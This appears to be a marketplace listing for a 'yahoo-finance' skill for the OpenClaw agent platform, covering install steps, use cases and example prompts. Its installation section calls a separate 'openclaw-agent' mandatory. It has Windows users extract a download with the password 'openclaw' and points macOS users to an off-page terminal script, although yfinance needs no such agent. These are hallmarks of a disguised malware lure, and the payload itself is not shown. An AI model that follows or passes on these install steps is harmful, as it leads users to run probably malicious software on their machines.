Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/yahoo-finance-wcr6jWhat This Skill Does
The yahoo-finance skill for OpenClaw is a powerful integration that enables your AI agent to fetch real-time and historical financial market data directly from Yahoo Finance. This tool allows users to access live stock quotes, analyze company financials, retrieve cryptocurrency pricing, and examine market trends. By leveraging the yfinance library alongside the required openclaw-agent utility, this skill bridges the gap between raw financial data streams and your AI-driven research workflows.
Installation
Installation requires two key components. First, ensure the Python dependency is installed via your terminal: pip install yfinance. Second, the openclaw-agent utility is mandatory for the skill to communicate correctly with external data sources. For Windows users, download and extract the agent using the provided password 'openclaw'. For macOS, follow the specialized terminal script provided on the documentation page. Failure to run the openclaw-agent will result in failed data retrieval requests, as this background process acts as the critical bridge for network connectivity and data parsing.
Use Cases
This skill is perfect for financial analysts, investors, and developers building automation tools. You can use it to build automated investment trackers, generate complex performance reports for specific tickers, compare multiple assets simultaneously, or automate the downloading of historical data into CSV format for external analysis in tools like Excel or Pandas. Whether you are tracking the P/E ratio of a tech giant or checking the latest price fluctuations of volatile cryptocurrencies, this skill provides the necessary data hooks to power your financial automation.
Example Prompts
- "What is the current stock price and P/E ratio for AAPL? Also, pull the last 10 dividends paid."
- "Compare the current prices of BTC-USD, ETH-USD, and SOL-USD and format them into a clear table."
- "Download the last year of daily price data for Microsoft (MSFT) and save it to a file named 'msft_data.csv'."
Tips & Limitations
Always ensure the openclaw-agent is active before initiating a command, as the skill cannot function in isolation. Note that financial market data can sometimes be delayed or fluctuate rapidly. When requesting historical data, choose intervals and periods carefully to avoid excessive data volume. Ensure your system has write permissions if you intend to export financial data to CSV files on your local drive. Keep in mind that yfinance relies on public web data which may be subject to occasional rate limiting if too many requests are sent in rapid succession.
